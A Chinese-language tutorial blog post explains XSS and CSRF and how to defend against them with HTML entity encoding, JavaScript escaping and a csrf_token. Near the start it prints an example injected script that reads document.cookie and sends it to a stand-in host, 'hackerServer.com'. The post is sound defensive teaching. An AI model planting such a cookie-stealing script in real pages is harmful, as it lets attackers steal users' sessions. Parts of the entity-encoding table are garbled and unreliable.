xss(cross site scripting)是一种最常用的网站攻击方式。
一.Html的实体编码
举个栗子:用户在评论区输入评论信息,然后再评论区显示。大概是这个样子:
<span>User Data</span>
如果对User Data不做任何过滤,那么一些喜欢搞怪的小伙伴通常会“注入”一些其他东东,诸如:
<span>alert('弹弹弹')</span>
更有甚者,
<span> <script> function getCookie() { var cookie=document.cookie; $.get("http://hackerServer.com?cookie="+cookie,function(result){ })//如浏览器支持跨域访问 } </script> </span>
这样的话,在黑客的站点 hackerServer.com 就会源源不断的得到用户的cookie,有了用户的cookie,就相当于得到了最初的凭证,便可以做很多坏事。
我们可以对用户输入的信息,进行转码后再显示,这样就不会出现上述的问题了。这里引入“html实体编码”的概念,见下图(图来源)。
显示结果 | 描述 | 实体名称 | 实体编号(十进制) | 实体编号(十六进制) |
---|---|---|---|---|
空格 | |   |   | |
< | 小于号 | < | < | < |
> | 大于号 | > | > | E; |
& | 和号 | & | & |  |
" | 引号 | " | " |  |
把 alert('弹弹弹') 转码后,其前端页面显示的为 alert('弹弹弹'),
查看其后端html源代码则为 alert('弹弹弹')
我们可以使用charCodeAt这个方法把User Data转化为html实体编码。
"alert('User Data')".replace(/./g, function(s){ return "&#" + s.charCodeAt(0) + ";" });
二.Js编码
那我们可不可以把所有 有用户输入的地方都使用html实体编码,从而完全避免用户的注入呢?
不行!
HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a <div> tag. It even sort of works for untrusted data that goes into attributes, particularly if you're religious about using quotes around your attributes. But HTML entity encoding doesn't work if you're putting untrusted data inside a <script> tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into. That's what the rules below are all about.
大致意思是:在有<script></script>的标签中,并不支持html编码,这是需要对js进行编码。
如:
<body> <div id='commentlist'> <script type="text/javascript">
//var s="jsAlert";
var s="jsAlert";
alert(s)//弹出的是s字符串,而不是“jsAlert”
var s2="\152\163\101\154\145\162\164";
alert(s2)//弹出的是jsAlert
</script> </body>
对于在<script></script>标签中的User Data,要使用js编码,就是使用unicode编码,才能保证正确的输入和输出。js编码支持八进制和十六进制编码。
同样可以使用charCodeAt方法把数据进行转化,如下:
"jsAlert".replace(/./g, function(s){ return '\\'+s.charCodeAt(0).toString(8) });
关于js编码的详细可以参考下这里。
三.Xss的危害
如果骇客在一个网站注入了自己一段非法脚本,比如我在http://www.baidu.com注入了一段脚本,该脚本的功能是给关注新浪微博某个指定的用户。
那么,当用户a访问http://www.baidu.com,并且用户a的浏览器保留了新浪微博的登录cookie,那么在访问时,http://www.baidu.com将作为跳板,自动向新浪微博服务器http://weibo.com发起了一次关注请求。显然的,这样的请求是不符合用户意愿的。
这里出现问题的原因就是因为http://www.baidu.com存在重大的xss漏洞所致。
用户浏览器访问http://weibo.com时,该浏览器weibo.com域名下的cookie自动被带着,去访问http://weibo.com,这是因为http是无状态的,而cookie则是身份证明的唯一途径,http协议决定了同个域名下的cookie会自动捎带。
毫无疑问,cookie并不是那么安全,
这里的黑客就是利用了网站的xss漏洞发起了csrf攻击。
必须指明的,csrf漏洞和xss漏洞并没有必然的关联。即使一个网站不存在xss漏洞,但是同样可以发起csrf攻击。
显然的,xss防范是网站安全的第一步,只有这样才能使自己不变成跳板,成为黑客们进行攻击的傀儡。为了避免csrf攻击,就需要采用“非Cookie”的信息策略,即使用csrf_token.
四.csrf攻击
csrf(Cross-site request forgery)攻击的原理是利用浏览器存储的cookie信息,去模拟用户的某些操作。下面是一个csrf攻击的场景:
场景:用户A登录了weibo.com之后,无意中浏览了某恶意网站 http://www.hacker.com之后,发现自己“莫名地” follow了n多个微博帐号。
原因:由于网站weibo.com的并没有使用csrf的防范,所以恶意用户在http://www.hacker.com上自动构造了“关注特定微博帐号”的请求操作followUser。
而又由于用户登了weibo.com,在用户浏览器存储的cookie信息,会随着followUser这个操作一起发送到weibo.com。
weibo.com服务端 在收到来自http://www.hacker.com的请求之后,验证cookie信息,发现cookie信息无误,便会误以为是正确的请求。
解决方案:由于Request Referer字段是可以修改的,所以通过Request Referer字段并不可取。
我们可以感觉cookie信息中的某些kv键值对键值对(如uuid=‘zhangsan’,timespan='201601011023',可以根据这些数据进行加密),然后通过某些位运算算法,生产一个csrf_token,由于这个字段不存在于Cookie,所以在访问时,需要在web端自动构建这个参数(如果是get请求,可以加到url之后;如果是post请求,可以封装到请求body之中)。
对于其他域名下的请求,由于其无法获取该域下的cookie信息,所以,即使该位运算算法暴露在js之中,其它恶意请求也无法构造这个csrf_token值。再weibo.com的服务端会被拒绝掉。
写到这里,不难发现,如果weibo.com存在xss漏洞,导致了用户cookie的泄漏,也会可能引发进一步的csrf攻击。
有防xss的措施,无防csrf的措施,网站会GG;
无防xss的措施,有防csrf的错误,网站会GG,因为你可能会丢cookie,导致csrf压根防不了。
以上。
可能有用的js方法:
1."aA".charCodeAt().toStrign("16")
2.String.fromCharCode(40)
3.eval()
参考:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://drops.wooyun.org/tips/689
http://www.cnblogs.com/hustskyking/p/xss-snippets.html
http://www.cnblogs.com/TomXu/archive/2011/12/31/2289423.html
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#Why_Can.27t_I_Just_HTML_Entity_Encode_Untrusted_Data.3F